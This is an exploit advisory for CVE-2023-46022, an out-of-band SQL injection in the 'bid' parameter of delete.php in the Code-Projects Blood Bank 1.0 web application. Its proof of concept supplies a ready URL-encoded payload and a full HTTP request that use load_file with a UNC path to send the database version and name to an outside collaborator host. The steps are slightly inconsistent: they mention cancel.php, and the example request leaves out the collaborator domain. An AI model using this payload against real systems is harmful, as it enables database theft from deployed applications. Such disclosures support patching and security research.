# Date: 2023-11-15
# Exploit Author: Ersin Erenler
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
# CVE : CVE-2023-46022


# Description:

The 'bid' parameter in the /delete.php file of Code-Projects Blood Bank V1.0 is susceptible to Out-of-Band SQL Injection. This vulnerability stems from inadequate protection mechanisms, allowing attackers to exploit the parameter using Burp Collaborator to initiate OOB SQL injection attacks. Through this technique, an attacker can potentially extract sensitive information from the databases.

Vulnerable File: /delete.php

Parameter Name: bid

# Proof of Concept:

1. Intercept the request to cancel.php via Burp Suite
2. Inject the payload to the vulnerable parameters
3. Payload: 3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
4. Example request for bid parameter:

GET /bloodbank/file/delete.php?bid=3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'\\a.txt')))%2b' HTTP/1.1
